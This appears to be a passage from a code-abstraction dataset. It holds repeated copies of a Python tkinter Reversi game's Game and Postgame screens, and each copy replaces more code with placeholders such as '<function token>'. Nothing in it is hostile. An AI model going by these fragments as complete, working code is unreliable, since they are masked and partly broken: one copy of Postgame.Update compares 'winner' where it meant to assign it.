diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = 